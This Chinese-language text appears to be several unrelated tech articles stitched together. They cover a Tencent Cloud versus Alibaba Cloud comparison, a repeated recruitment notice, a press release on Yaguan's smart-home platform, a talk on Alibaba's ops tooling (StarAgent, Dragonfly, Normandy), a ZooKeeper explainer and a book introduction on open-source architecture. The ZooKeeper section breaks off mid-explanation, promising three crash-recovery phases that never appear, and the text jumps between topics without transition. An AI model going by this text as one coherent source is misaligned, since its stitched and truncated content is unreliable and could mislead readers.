只有巨头才会同时在多项技术上布局，比如：阿里有首期投资1000亿元的达摩院做底层技术研发；百度在AI、自动驾驶上砸钱；腾讯也成立了各种实验室、研究院。

他们在技术上的前瞻布局，最终会转化为云计算的能力或者产品。

2. 市场定位

右下图可知：腾讯云和阿里云业务上有高度重合的部分。

在主要核心业务中，阿里云除了去年新上线的物联网以外，其余业务与腾讯云一致。

两者的slogan有略微区别：腾讯云企图担任一个连接器，以数据和智能化的方式连接企业。阿里巴巴则充当一个赋能者的姿态，让云计算普惠各行各业。

这个slogan的差异也源自主要用户群体的差异。此外，由于阿里云综合实力较强，平台的定位范围也较腾讯云大。

两者的主要战略目标差距是：阿里云的目标更偏向国际化，并在人工智能和物联网方面打开新的垂直市场。

由于生态的不同，腾讯云的主要使用用户是腾讯泛文娱领域与微信开放平台的合作者，而阿里云的主要用户则是阿里生态的中小电商。但是近两年，两者同时发力产业互联网，将泛互联网、政府及传统企业作为市场的扩展方向。其中阿里云还将物理网的云计算平台作为自身的战略重点。

图5.腾讯云与阿里云简单对比

3. 用户分析

地理区域扩张是腾讯云全球化布局的首要任务。此前腾讯董事长马化腾表示：2018年将继续扩充云基础设施，为客户提供优良服务。根据规划，2018年腾讯云将陆续上线多个区域和可用区，为更多企业和创业者提供集云计算、云数据、云运营于一体的全球云端服务体验。

从腾讯云和阿里云的横向对比来看：目前腾讯云的优势已经开始显现。

2018年3月15日，阿里云宣布其印度尼西亚大区正式开服运营，成为该国第一家在当地运营的国际公共云服务商。这也是阿里云在全球开放服务的第18个区域，此前阿里云已经在欧洲、北美、东南亚、中东等地建设了基础设施。

图6.阿里云、腾讯云和金山云基础设施建设情况对比（前瞻产业研究院，2018）

从腾讯云官网的客户案例数量来看：游戏领域的服务或者企业占比最大，其次是金融、医疗、电商、视频，还有O2O、微信、旅游、移动应用、政务、在线教育。不过这些实例不一定与腾讯云客户数量组成吻合。

相比腾讯云，阿里云官网的客户案例主要集中在电子商务，科技和教育领域，其次是媒体、旅游、制造业、零售等，另外在政府端，阿里云也获得了一定数量的客户。

图7.腾讯云主要细分领域客户数量及主要客户代表（前瞻产业研究院，2018）

4. 使用场景

云平台在人工智能领域提供的服务可以分为：AI框架服务、AI平台服务和AI应用服务。

其中腾讯云和阿里云在框架和平台服务上差别较小，主要是应用场景上的区别。

右下图可知：两者侧重的场景与其主要客户所在领域联系紧密。

阿里云相比腾讯云，与政府和供应链上游联系更为密切。因此，阿里云的亮点也偏向供应链和政府端的解决方案。而腾讯的使用场景主要在取代人工客服和信息验证上，因此侧重在智能语音客服和人脸/图像识别上面。

但是明显的趋势是：随着同质化加剧，双方在技术和数据端差距逐渐缩小。发掘新的应用场景也成为了未来云平台发展的重点突破口。

图8.腾讯云与阿里云主要使用场景对比

5. 核心功能对比

图9. 阿里云和腾讯云的功能对比(夫尼特大人，2018)

阿里云：

弹性计算是阿里云的核心产品，拥有包括：云服务器、专有网络、容器服务、弹性伸缩、负载均衡等9项业务，涵盖用户的每一种选择。

但是，其在计算领域更加专注于底层的的计算能力和稳定性，尤其是近期推出的神龙技术架构，跟AWS的Nitro很类似——都是通过先进的虚拟化技术打破物理机和虚拟机的隔阂。虽然相比AWS，阿里云起步比较晚，但跟AWS这个标杆的距离在不断缩小，给 4.5 分。

在数据库方面，阿里云拥有足够的诚意——满足用户的一切需求，不管是普通用户常用的三大SQL数据库（MsSQL、MySQL、PostgreSQL），还是流行的NoSQL（MongoDB、Redis、Memcache），都为用户提供了服务。

帮助用户更好的使用这些能力同时，对于大数据需要的海量存储，阿里云也提供了对应的产品（PetaData、HBase 以及OceanBase）。值得一提的是自研的POLARDB，官方宣称性能是MySQL数据库的6倍，可惜在Oracle 数据库支持方面有所缺失，要从第三方绕一下，给 4 分。

在存储方面，阿里云提供了对象存储、文件存储、归档存储、块存储和表格存储等多种存储模式，最新的ESSD的随机读写达到了恐怖的100万，给 4 分。

在安全方面，阿里云以云盾为基础，发展出了数十款安全产品，涵盖了WAF、内容过滤、数据加密、DDoS 防护、数据风控等多项功能，阿里本身的安全能力就很出众，在云上同样有保障。给 4.5 分。

在人工智能方面，阿里云以ET大脑为基础，发展了ET工业大脑、ET农业大脑、ET环境大脑、ET医疗大脑等数个AI解决方案，及50多个AI产品。在众多产品体系中，属于阿里云集中力量发展的项目，从落地情况来看，也是国内走在最前列的，给 4 分

在CDN方面，阿里云官方给出的数字是 1500+ 全球节点，带宽储备超过120T。考虑到阿里云本身就是优酷、淘宝最大的CDN服务商，从实际效果来看，还是非常出色的，给 5 分。

在域名服务上，阿里云做的是最好的，其域名业务源自收购的国内的最大的域名供应商万网。不仅提供了基础的域名注册的服务，还针对域名交易的人群，提供了域名交易、域名预定、域名转入等服务，域名管理方面做到了一家成熟企业的优秀标准，给5分。

腾讯云：

腾讯云在基础计算能力的提供上，投入不少精力，包括：标准的云服务器、GPU云服务器、FPGA 云服务器等；在弹性计算上，大量的投入研发和实践，帮助用户更好的使用云计算，给 4 分。

在数据库方面，腾讯云提供了标准的SQL数据库和其特有的TDSQL，针对高速缓存场景的Redis 和Memcached、标准的NoSQL 数据MongoDB ，以及一些适合于大数据的数据库，如：HBase、分布式数据库DCDB。

不过丰富的产品缺没有配套的应用，腾讯云没有针对用户提供数据迁移的服务，会导致用户在使用时的体验不佳。给 3 分。

在存储方面，腾讯云的技术研发略显吃力。只提供了标准的对象存储和云硬盘服务，对于一些不同场景下的需求来说，还是显得不足，给3分。

在安全方面，腾讯云依托大禹网络安全和天御业务安全防护，提供了不少场景化的安全服务。相比之下，腾讯云的产品更加倾向场景化为用户提供服务，给3.5分。

在大数据方面，腾讯云发展出来了大数据基础服务、数据应用和AI三大体系，提供了丰富的技术产品，对于用户来说，也是可以更好的去借助云计算的资源来实现自己的需要，给 4 分

在CDN方面，腾讯云依托腾讯本身的业务，提供了全球1000 多个加速节点，来帮助用户去提升用户体验。不过不知道出于什么原因，腾讯云的CDN 的每次变更，都会有较长的时间才能生效，给 4 分

在域名方面，腾讯云只提供了基础的域名注册服务，只能算个及格。给3分。

图10.阿里云人工智能核心功能（来源阿里云官网）

图11.腾讯云人工智能领域主要功能（来源腾讯云官网）

6. 小结

从这些功能的对比来看：两款产品的主要功能相差不大。

但是，由于产品定位的差异化，导致使用场景方面的不同。

腾讯云比较看重社交、游戏过程中实时大量互动及及时答疑的需求，在功能上就体现为身份核验、语音/图像识别，智能机器人比较有特色；而阿里云注重商家端和政府端的应用，拥有大量的对应解决方案。

经过对过去数年的战略调整，目前两者都将目标客户群体从自身生态圈客户，扩大到泛互联网，泛政府，以及需要数字化转型的传统企业。

在地域方面，腾讯云试图在国内逐渐挑战阿里云的地位，而阿里云则期待以东南亚为突破口逐渐打开国际市场。由于腾讯云技术上和功能上与阿里云仍存在一定差距，未来市占率的挑战之路仍充满荆棘。

简历提交请在主页--表单--简历提交处提交简历

或邮件发送到sw@51mimu.com

简历提交请在主页--表单--简历提交处提交简历

或邮件发送到sw@51mimu.com

携手阿里云IoT 雅观科技打造全屋智能SaaS平台

2019年1月15日，阿里云IoT携手地产头部企业，以及全屋智能行业的领先企业，在北京举办“2019阿里云IoT数字地产峰会”。在峰会上，阿里云宣布和中国联通物联网总公司共同打通联通物联网连接管理平台与阿里云IoT智能生活开放平台，同时联手推出一站式智能连接服务。

雅观科技作为架构在阿里IoT的PaaS层领先企业，受邀参加活动。雅观科技产品副总裁王达峰在会上发表了《携手阿里云IoT 助力地产转型升级》的主题演讲。

1000+场景池 提升人居体验

雅观科技王达峰在现场演讲时，全面讲解了雅观全屋智能平台的建设情况。雅观全屋智能平台基于阿里PaaS层搭建了SI SaaS、物管 SaaS、设备SaaS等基础应用平台，可以根据家庭、社区、长租、养老、酒店、办公等多形态物业，提供满足不同需求的全屋智能解决方案，助力地产公司转型智能化。

雅观全屋智能定位智能家居及智慧社区行业的安卓系统，利用AI+IoT能力，建设能够跨通讯协议、跨品牌，无限融合、互联互通的开放生态平台。在全屋智能系统中，雅观全屋智能预置了1000+个场景池，覆盖从舒适、安全等基础场景，到儿童关怀、老人护理等个性化垂直场景，提供千人千面的个性化服务。

雅观全屋智能的场景可以随着用户的使用，不断进行空中升级;雅观也努力建设智能住宅和智慧社区的无缝打通，进行快递收发、停车管理、电梯调度、访客管理等全链路整合优化，提升人居体验;同时，雅观全屋智能也可以通过用户运营系统，结合社区与周边商业，帮助地产商成为用户生活方式、生活服务的运营商，这也是雅观此次在CES2019展上大吸眼球的Smart O2O技术。

雅观SaaS平台成为典型案例

活动下午，雅观科技联合创始人田陌晨受邀联合启动《2019中国智能家居发展白皮书——从智能单品到全屋智能》发布仪式。《2019中国智能家居发展白皮书——从智能单品到全屋智能》正式发布。白皮书由鸿雁电器牵头，阿里云IoT事业部、中国智能家居产业联盟CSHIA等携手全屋智能产业链上下游企业联合编制，对全屋智能生态现状和未来发展进行深入的分析与展望。

中国智能家居产业联盟执行秘书长(CSHIA)王胜阳在现场对白皮书进行解读。他提到，智能家居行业在变革中快速发展，新流量入口被行业巨头全面布局，市场规模化应用的智能场景快速落地。智能家居服务体系迎来模式创新，智能家居行业向全屋智能的升级与聚焦，为地产、装修公司、设备商、平台企业及集成服务商的转型升级带来新的机遇。

作为全屋智能SaaS解决方案平台提供者，雅观科技成为白皮书典型案例。白皮书详细介绍了雅观的全链路SaaS服务及与阿里协同构造的物联网空间生态。雅观科技智能家居SaaS平台通过阿里IoT设备接口，实现设备的快速生态融合;基于阿里设备生态的泛数据入口获取全链条数据，包括从安装SI到用户使用行为;基于充分的数据来源建立创新型业务，提升产业链效率。

雅观全屋智能基于阿里云IoT事业部的SDS框架进行智能家居开发，是阿里云架构落地的排头兵。雅观全屋智能把制造商由原来的硬件销售升级为“硬件+服务”模式，通过助力地产公司转型智能化，提升B端管理效率、促进C端住房销售、催化地产商业增值。

截止目前，凭借独特的行业定位和超强的技术能力、市场能力，雅观已完成了60余个智慧社区与全屋智能项目的打造，已经对接了近百家设备企业，接入了1000+SKU，和包括万科、富力等众多科技地产商企业达成了合作，受到行业伙伴的高度认可。

阿里巴巴智能化运维体系演进与建设

• 基础运维平台是运维体系建设的基础设施， 是运维成败的关键。
• 稳定是运维的本质， 在稳定性的基础上追求极致的运维效率和极低的运维成本。
• 智能运维不能一蹴而就，必须按部就班，重在场景和数据的建设。
  
  

作者简介：

毛茂德

阿里巴巴 基础架构事业群运维中台负责人

花名如柏，现任阿里巴巴集团基础架构事业群－运维中台负责人， 主导架构设计高可靠、高并发、大规模的基础运维平台和应用运维平台, 致力于打造行业级的基础运维无人值守解决方案以及数据化、智能化运维解决方案，推动 DevOps 生态。

本文来自于 GOPS 2017 深圳站的演讲“阿里巴巴运维中台的演进与建设”。

我所在的部门是阿里基础架构事业群，负责阿里巴巴的 IDC 建设、网络建设、基础数据库的运维，大数据运维，研发协同，应用运维等等都在我们这个部门里面。

我的团队主要负责运维平台和工具的建设，旨在提升业务交付的效率和运维的自动化、智能化。在去年我们团队名字改成了“运维中台”，名字的改变很重要，他让我们的定位更加清晰，做事更聚焦和专注。

运维平台建设已经很多年，产品比较多，下面我将介绍几个比较重要的产品来呈现阿里运维中台建设的过程。

StarAgent 在阿里已经有五六年，甚至更早的时间。阿里所有的物理机、虚拟机以及容器都会装这个 agent，StarAgent 是管理所有 agent 的系统，基本上要和机器交互都需要通过这个平台。

StarAgent 是一个生态平台，实际上不会做具体的业务，具体的业务还是通过各个业务平台去实现的。它们要和服务器进行交互必须通过我们这个平台。

例如，应用运维平台——诺曼底也是通过 StarAgent 在机器上进行部署发布的。我们希望将 StarAgent 建设成一个平台，而不是所有的业务都是我们来做的。

平台化的项目是2015年底启动的，在此之前机器上运行的 agent 所有的功能整个打包成一个可执行的程序，这导致了研发迭代速度非常缓慢，问题非常多。

我们曾经有一个功能花了一个多月时间开发了一个功能，开始上线，全网做灰度，将近一个时间等快灰度结束的时候，突然发现某些环境下这个功能有 bug，结果又用了一个月的时间回滚。

这个对我们士气是非常伤的，三个月过去了什么业务结果都没拿到。

平台化的改造中，我们把各个业务的功能都变成一个个插件，可以插到这个平台上来。平台只负责最基本的插件维护的功能，以及命令执行的功能，仅此而已。监控、日志采集等功能都变成插件，而不需要都打包在一起。

目前我们平台上已经有了将近90个插件，比如说监控、日志、安全、调度、采集、P2P 文件分发、配置管理类似 puppet， saltstack 等等插件。

而且平台化之前我们必须全网发布，插件化之后，我们可以选择插件的发布范围，开发迭代的速度也有了大幅度提升。

• 平台化之前整个 agent 都需要放到装机镜像里，装机镜像测试也需要一个月时间，所以更新镜像也非常繁琐.

• 平台化之后装机镜像里也只要装基本的 agent core 就可以了，核心插件都可以装机后第一次启动时自动更新即可，这样也不需要频繁的更新装机镜像，core 的功能因为非常纯粹简单，core 稳定之后，更新的频率自然就低到了极致。

StarAgent 平台化之后的架构比较简单，整个 agent 最核心的东西就是管理和运行这些插件，基于一个非常简单的交互协议与插件通讯。只要实现这些接口就可以作为一个插件让 agent 帮你去运维。

所以除了之前 StarAgent 的功能插件化外，我们收敛了机器上众多的 agent，在这之前插件都是自己做一个运维系统，要管理自己的状态，要进行版本的更新和迭代。

现在在统一的平台上统一的进行管理、统一做变更的升级。除了节省运维资源外，同时也能收敛重复功能的 agent，从另外一个角度保证了服务器运维的安全。

1.1 StarAgent核心功能

StarAgent 核心功能就是一个命令的通道，它既可以同步执行任务又可以异步执行任务，还可以查询任务状态和插件管理。插件分为两种，一种是静态的，静态的实际上就是脚本、命令之类的。

另一种动态的是一个常驻进程，必须常驻在系统里面。我们会守护这个进程，如果它挂了会重新拉起来，如果其占用内存、CPU 超过设定的范围会删掉它。整个协议是比较简单的，使用起来耦合度也是比较低的。

1.2 StarAgent特性

StarAgent 系统从功能上来讲是比较简单的，我们其实是花了大量时间在做一些非功能上的东西。

例如，高可用、高并发、安全，还有自运维能力，即使是百万级服务器的场景下，我们的运维人力投入可能几乎为0，我们追求的就是无人值守的运维。

目前这套系统的执行成功率差不多有 99.995% 左右，由于执行量非常大，0.005% 失败率的运维成本还是挺高的。我们花了大量的时间做容灾和自恢复的工作。

前两年支付宝官网瘫痪，经过这个事件我们开始做容灾的演练。把网线拔了，看所有系统的反应，过两个小时再把网线插上去，看这个系统是不是能自动恢复。

以前我们都是半夜三点起来去重启服务器，经过自动化的运维，所有的系统断网都可以自动恢复、服务器可以自动进行扩容，保证系统持续的可用性。

1.3 StarAgent 场景

现在的场景会贯穿整个物理机的生命周期，阿里巴巴在物理机装机的过程中就会用到 StarAgent，从生产到下线整个过程都离不开。

应用运维方面，我们在做重启、发布恢复等等，同时还有监控、数据采集及数据库等方面。

StarAgent 是三层的架构，中央的一层，第二层是每个机房都有管控服务器，最下面一层就是每台服务器安装的 agent 及其插件。

agent 会先注册到管控服务器然后上报自己的信息并且每隔一段时间上报自己的心跳。命令是从上往下的，是通过 API 去下发的。

例如，下发一万台服务器执行命令，所有的命令都是同样的中央服务器，所以它是中央式的架构。

阿里现在有很多走国际化，在俄罗斯、美国、印尼等地收购很多公司，它们的机房也需要我们做运维。目前我们在做的就是去单中心走向多中心的架构。

比如说，在印度尼西亚的一个机房还需要回到中央服务器来再下发，这个路径会非常曲折，我们需要做个多组型。

在国外的我们会多布一个中心，这样的话在单元内可以自制，不需要跑到杭州或上海来再下发到国外机房。

以前这些数据都没有，我觉得做运维系统需要把度量这个事情做起来。

在架构里面有句话叫没有度量就没有改善，度量是非常重要的。如果产品的核心指标（稳定性、性能、内存占用等）没有定出来，或者无法度量，怎样去架构和优化系统就比较困难，无从下手。

产品的亮点、竞争力、差异性也无从谈起。

实际上系统稳定性以前根本就没有。一个系统指令发过去了就告诉你失败了，不知道什么原因，根本没有错误的分类。然后一堆人开始查问题，查半天发现这台机器磁盘满了。

对于这种方式，我们觉得是不可持续的。我们需要从日志和标准化等方面一定要说清楚系统本身到底有没有问题。

对于第三方依赖，可能是数据库、也可能是一个配置等等，一定要搞清楚第三方依赖的稳定性到底怎么样。对于环境的问题，网络是不是断了，磁盘是不是满了。

这些也都需要在错误码日志里面体现出来，这样才能从各个方面逐步完善系统的指标，否则是没有办法完成的。系统的稳定性非常重要，有了这些数据，系统就可以进行数据化运维。

1.5 StarAgent 插件系统

StarAgent 插件系统，协议很简单。可实现启动、停止，配置如何重新加载等。我们对 CPU 会做一些守护，同时会做一些一键部署的事情。

原来我们升级插件是非常多的，服务器数据很大，再加上插件数量和插件各种版本，这个量是非常巨大的。

以前全网升级插件差不多要六个小时，经过优化之后现在大约10分钟就可以了。

二、文件分发系统——蜻蜓

对于全网都需要用到的，这些就不是一个个性化的需求，这些这插件是我们自己来开发。比如蜻蜓（P2P文件分发系统）就是我们自己开发的。

文件分发其实是我们做部署系统的优化时候去做的，当时比较纠结，是自己开发还是用现成的系统。我们对比了业界很多类似的技术。

比如 Facebook 的 wdt (https://github.com/facebook/wdt)，Twitter 的 ( https://github.com/lg/murder )，百度的 Ginko 等等，还有包括亚马逊 Apollo 里面的文件分发系统，它们那个和我们的有点不太一样，他们的是基于 S3 做的。

我们发现他们各自或多或少的都有些问题，无法满足我们多种场景下应用需求。这个产品可以不夸张的说已经做到行业第一。

蜻蜓系统是纯碎的 P2P 的文件分发系统。在做 Docker 过程中，如果没有系统解决这些问题，整个 Docker 化的进程就会受到影响。当到了一定量以后根本就支撑不了，所以直接把镜像仓库的协议全部都实现了一遍。

2.1 蜻蜓核心功能

P2P 的文件分发我们做了很多特性，包括多线程下载、一致性校验以及白名单控制等。

有些业务对磁盘是非常敏感的，例如搜索类的业务，所以会要求在写这个智能 IO 的时候会有些控制，我们会把这个参数调出来通过这个参数对磁盘进行管理。

一个 200M 的文件在传输的时候会变得比较小，网络和传输速度都会得到优化。

2.2 蜻蜓业务指标

蜻蜓系统目前是一万个客户端同时下载 500M 的文件平均耗时 5s。阿里集团大部分的文件分发都统一用了这套系统。下载次数是 12万/月到 3亿/月。系统稳定性达6个9。也是自运维的系统。

使用蜻蜓系统和不用该系统进行对比可知，这个模式下载速度会快很多而且不会随着并发数量上升而严重延时。

三、应用运维平台——Normandy

Normandy 是运维整个阿里巴巴业务的 PaaS 平台。这个平台实际上提供三大功能，分别是基础设施即代码（Infrastructure as Code）、部署和应用运维支撑。

我们希望能够通过代码描述文件的形式把一个应用需要用到的所有资源，包括机载资源、服务器、网络还有数据库等都描述出来，这样就可以能够快速构建一个应用。

应用已经有了，如何把代码部署到线上，让其能够对外提供服务，这就需要部署发布了。在发布部署方面我们做了无人监守的发布，我们和中间件等部分做了整合，只要代码没有出现线上的故障就可以自动发完。

如果出现故障发布就会停下来，此时需要人介入去判断要不要作维稳。亚马逊的发布系统阿波罗，一年的发布量差不多是五千万，据说现在一天的发布量已经能达到50万。

去年在这方面我们也做了很多工作，至少说这个发布系统不会因为业务发布次数比较大导致发布系统挂掉。

另外，现在整套系统已经将阿里巴巴的测试环境和线上环境全部打通，解决了线上系统和测试不统一的情况。

目前业务方有很多的平台使用应用运维平台和运维基础平台 StarAgent。从应用数量上来讲，实际上也是最多的，大概 80% 的应用都基本集中在交易。

阿里云稍微有点特殊，有一半对 ECS 的运维，ECS 也是要做发布与运维，ECS 今年努力的方向要尽量做到不影响用户。

以上的产品都是服务于整个阿里巴巴集团的，这些服务都是最基础的，我们的核心能力基本都是通用的，不带业务的特殊性，特殊性的功能可以在我们的平台化上进行扩展。

这就是中台的原义，中台的好处就是让业务能根据自己的特性在中台上快速的发展，而不需要一杆子桶到最底层，同时中台也没有能力去帮助每个业务去实现所有的特性功能。

这个是整个做事方式的转变，每层都想清楚自己的核心能力，做什么，不做什么同样重要。

在满足了集团业务运维的同时，我们这些产品也真正的在打磨极致产品特性，极致的稳定性、极致的性能、极致的体验。

这样能提升产品的竞争力，拉高进入门槛，光是一堆运维功能堆砌的产品是咩有灵魂的，也非常容易被复制。

我们的产品在今年就会完成单元化，国际化，云化，希望能成为云上有竞争力的运维产品。

漫画：什么是 ZooKeeper？

————— 第二天 —————

————————————

ZooKeeper 的数据模型

ZooKeeper 的数据模型是什么样子呢？它很像数据结构当中的树，也很像文件系统的目录。

树是由节点所组成，ZooKeeper 的数据存储也同样是基于节点，这种节点叫做Znode。

但是，不同于树的节点，Znode 的引用方式是路径引用，类似于文件路径：

/ 动物 / 仓鼠

/ 植物 / 荷花

这样的层级结构，让每一个 Znode 节点拥有唯一的路径，就像命名空间一样对不同信息作出清晰的隔离。

data：Znode 存储的数据信息。

ACL：记录 Znode 的访问权限，即哪些人或哪些 IP 可以访问本节点。

stat：包含 Znode 的各种元数据，比如事务 ID、版本号、时间戳、大小等等。

child：当前节点的子节点引用，类似于二叉树的左孩子右孩子。

这里需要注意一点，ZooKeeper 是为读多写少的场景所设计。Znode 并不是用来存储大规模业务数据，而是用于存储少量的状态和配置信息，每个节点的数据最大不能超过 1MB。

ZooKeeper 的基本操作和事件通知

ZooKeeper 包含了哪些基本操作呢？这里列举出比较常用的 API：

create：创建节点

delete：删除节点

exists：判断节点是否存在

getData：获得一个节点的数据

setData：设置一个节点的数据

getChildren：获取节点下的所有子节点

这其中，exists、getData、getChildren 属于读操作。ZooKeeper 客户端在请求读操作的时候，可以选择是否设置 Watch。

Watch 是什么意思呢？

我们可以理解成是注册在特定 Znode 上的触发器。当这个 Znode 发生改变，也就是调用了 create、delete、setData 方法的时候，将会触发 Znode 上注册的对应事件，请求 Watch 的客户端会接收到异步通知。

具体交互过程如下：

1. 客户端调用 getData 方法，Watch 参数是 true。服务端接到请求，返回节点数据，并且在对应的哈希表里插入被 Watch 的 Znode 路径，以及 Watcher 列表。

2. 当被 Watch 的 Znode 已删除，服务端会查找哈希表，找到该 Znode 对应的所有 Watcher，异步通知客户端，并且删除哈希表中对应的 Key-Value。

ZooKeeper 的一致性

ZooKeeper 的集群长成什么样呢？就像下图这样：

ZooKeeper Service 集群是一主多从结构。

更新数据时，首先更新到主节点（这里的节点是指服务器，不是 Znode），再同步到从节点。

在读取数据时，直接读取任意从节点。

为了保证主从节点的数据一致性，ZooKeeper 采用了ZAB 协议，这种协议非常类似于一致性算法 Paxos 和 Raft。

在学习 ZAB 之前，我们需要首先了解 ZAB 协议所定义的三种节点状态：

Looking：选举状态。

Following：Follower 节点（从节点）所处的状态。

Leading：Leader 节点（主节点）所处状态。

我们还需要知道最大 ZXID 的概念：

最大 ZXID 也就是节点本地的最新事务编号，包含 epoch 和计数两部分。epoch 是纪元的意思，相当于 Raft 算法选主时候的 term。

假如 ZooKeeper 当前的主节点挂掉了，集群会进行崩溃恢复。ZAB 的崩溃恢复分成三个阶段：

十年 IT 老兵告诉你如何快速构建可直接落地、基于开源的低成本架构！

技术大会上的分享大多高大上，亿级流量、超大型研发团队，虽然值得借鉴，但由于应用场景与研发资源的差异，一般企业并不容易落地。其实，中小型研发团队在IT行业还是占大多数，他们在技术架构方面的问题较多，技术阻碍业务、跟不上业务发展的情况非常常见。

我是一个有十多年经验的 IT 老兵，曾在两家几千人的技术团队做过架构与技术管理工作，也曾在几十人至几百人的中小研发团队做过首席架构师和CTO。一个是定制的劳斯莱斯，一个是大众轿车。在互联网大厂做技术研发，大多只是一个螺丝钉。而在中小研发团队，则比较容易掌控全局。

本书结合笔者近几年的工作经验，摸索出一套可直接落地、基于开源、成本低、可快速搭建的框架及架构方案。小团队也能构建大网站，中小研发团队架构实践更贴近于一般程序员的实际情况，更具应用参考价值。以下是具体介绍，包括开篇、架构篇、框架篇、公共应用篇和进阶篇。

框架篇——工欲善其事，必先利其器

如果说运维是地基，那么框架就是承重墙。农村建住房是一块砖一块砖地往上垒，而城市建大House则是先打地基，再建承重墙，最后才是垒砖，所以中间件的搭建和引进是建设高可用、高性能、易扩展可伸缩的大中型系统的前提。

框架篇中的每章主要由四部分组成：它是什么、工作原理、使用场景和可直接调试的Demo。其中中间件及Demo是历经两家公司四年时间的考验，涉及几百个应用，100多个库1万多张表，日订单从几万张到十几万，年GMV从几十亿到几百亿。所有中间件与工具都是基于开源。

早期我们也有部分自主研发如集中式日志和度量框架，后期在第二家公司时为了快速地搭建、降低成本、易于维护和扩展，全部改为开源。这样不仅利于个人的学习成长、知识重用和职业生涯，也利于团队的组建和人才的引进。

1、集中式缓存Redis

缓存是计算机的难题之一，分布式缓存亦是如此。

Redis看起来非常简单，但它影响着系统的效率、性能、数据一致性。用好它不容易，具体包括：缓存时长（复杂多维度的计算）、缓存失效处理（主动更新）、缓存键（Hash和方便人工干预）、缓存内容及数据结构的选择、缓存雪崩的处理、缓存穿透的处理等。

Redis除了缓存的功能，还有其它功能如Lua计算能力、Limit与Session时间窗口、分布式锁等。

我们使用ServiceStack.Redis做客户端，使用方法详见Demo。

2、消息队列RabbitMQ

消息队列好比葛洲坝，有大量数据的堆积能力，然后再可靠地进行异步输出。它是EDA事件驱动架构的核心，也是CQRS同步数据的关键。

为什么选择RabbitMQ而没有选择Kafka，因为业务系统有对消息的高可靠性要求，以及对复杂功能如消息确认Ack的要求。

3、集中式日志ELK

日志主要分为系统日志和应用日志两类。试想一下，你该如何在一个具有几百台服务器的集群中定位到问题？如何追踪每天产生的几G甚至几T的数据？集中式日志就是此类问题的解决方案。

早期我们使用自主研发的Log4Net+MongoDB来收集和检索日志信息，但随着数据量的增加，查询速度却变得越来越慢。后期改为开源的ELK，虽然易用性有所下降，但它支持海量数据以及与编程语言无关的特征。

下图是ELK的架构图：

4、任务调度Job

任务调度Job如同数据库作业或Windows计划任务，是分布式系统中异步和批处理的关键。

我们的Job分为WinJob和HttpJob：WinJob是操作系统级别的定时任务，使用开源的框架Quartz.NET实现；而HttpJob则是自主研发实现，采用URL方式可定时调用微服务。HttpJob借助集群巧妙地解决了WinJob的单点和发布问题，并集中管理所有的调度规则，调度规则有简单规则和Cron表达式。HttpJob它简单易用，但间隔时间不能低于1分钟，毕竟通过URL方式来调度并不高效。

下图是HttpJob的管理后台：

5、度量工具Metrics

“没有度量就没有提升”，度量是改进优化的基础，是做好一个系统的前置条件。Zabbix一般用于系统级别的监控，Metrics则用于业务应用级别的监控。业务应用是个黑盒子，通过数据埋点来收集应用的实时状态，然后展示在大屏或看板上。它是报警系统和数字化管理的基础，还可以结合集中式日志来快速定位和查找问题。

我们的业务监控系统使用Metrics.NET+InfluxDB+Grafana：

6、微服务MSA

微服务是细粒度业务行为的重用，需要与业务能力及业务阶段相匹配。微服务框架是实现微服务及分布式架构的关键组件，我们的微服务框架是基于开源ServiceStack来实现。它简单易用、性能好，文档自动生成、方便调试测试，调试工具Swagger UI、自动化接口测试工具SoapUI。微服务的接口开放采用我们自主研发的微服务网关，通过治理后台简单的配置即可。网关以NIO、IOCP的方式实现高并发，主要功能有鉴权、超时、限流、熔断、监控等，下图是Swagger UI调试工具。

7、搜索引擎Solr

分库分表后的关联查询，大段文本的模糊查询，这些要如何实现呢？显然传统的数据库没有很好的解决办法，这时可以借助专业的检索工具。

全文检索工具Solr不仅简单易用性能好，而且支持海量数据高并发，只需实现系统两边数据的准实时或定时同步即可。下图是Solr的工作原理：

8、更多工具

分布式协调器ZooKeeper：ZK工作原理、配置中心、Master选举、Demo，一篇足以；

ORM框架：Dapper.NET语法简单、运行速度快，与数据库无关，SQL自主编写可控，是一款适合于互联网系统的数据库访问工具；

对象映射工具EmitMapper和AutoMapper：EmitMapper性能较高，AutoMapper易用性较好；

IoC框架：控制反转IoC轻量级框架Autofac；

DLL包管理：公司内部DLL包管理工具NuGet，可解决DLL集中存储、更新、引用、依赖问题；

发布工具Jenkins：一键编译、发布、自动化测试、一键回滚，高效便捷故障低。

架构篇——思想提升

会使用以上框架并不一定能成为优秀的架构师，但一位优秀架构师一定会使用框架。架构师除了会使用工具外，还需要架构设计思想和性能调优技能。

此篇以真实项目为背景，思想方法追求简单有效，内容包括企业总体架构、单个项目架构设计、统一应用分层、调试工具WinDbg。

1、企业总体架构

当我们有了几百个上千个应用后，不仅仅需要单个项目的架构设计，还需要企业总体架构做顶层思考和指导。

大公司与小商贩的商业思维是一样的，但大公司比较难看到商业全貌和本质。而小公司又缺乏客户流量和中间件的应用场景，中型公司则兼而有之，所以企业总体架构也相对好落地。

企业总体架构需要在技术、业务、管理之间游刃有余地切换，它包括业务架构、应用架构、数据架构和技术架构。附档是一份脱敏感信息后的真实案例，有参考TOGAF标准，但内容以解决公司系统的架构问题为导向、以时间为主线，包括企业商务模型、架构现状、架构规划和架构实施。

2、单个项目架构设计

应用架构设计如同施工图纸，能直接指导工程代码的实施。上一环是功能需求，下一环是代码实施，这是架构设计的价值所在。从功能需求到用例，到用例活动图，到领域图、架构分层，到核心代码，它们之间环环相扣。做不好领域图可能源自没有做好用例活动图，因为用例活动图是领域图的上一环。关注职责、边界、应用关系、存储、部署是架构设计的核心。

下图是具体案例参考：

3、统一应用分层

给应用分层这件事情很简单，但是让一家公司的几百个应用采用统一的分层结构，这可不是件简单的事情。它要做到可大可小、简单易用、支持多种场景，我们使用IPO方式：I表示Input、O表示Output、P表示Process，一进一出一处理。

应用系统的本质就是机器，是处理设备，也是一进一出一处理，IPO方式相对于DDD而言更为简单实用。

4、诊断工具WinDbg

生产环境偶尔会出现一些异常问题，而WinDbg或GDB就是解决此类问题的利器。调试工具WinDbg如同医生的听诊器，是系统生病时做问题诊断的逆向分析工具，Dump文件类似于飞机的黑匣子，记录着生产环境程序运行的状态。

本文主要介绍了调试工具WinDbg和抓包工具ProcDump的使用，并分享一个真实的案例。N年前不知谁写的代码，导致每一两个月偶尔出现CPU飙高的现象。我们先使用ProcDump在生产环境中抓取异常进程的Dump文件，然后在不了解代码的情况下通过WinDbg命令进行分析，最终定位到有问题的那行代码。

公共应用篇——业务与技术的结合

先工具再框架，然后架构设计，最后深入公共应用。公共应用因为与业务系统结合紧密，但又具有一定的独立性，所以一般自主开发，不使用开源也不方便开源。

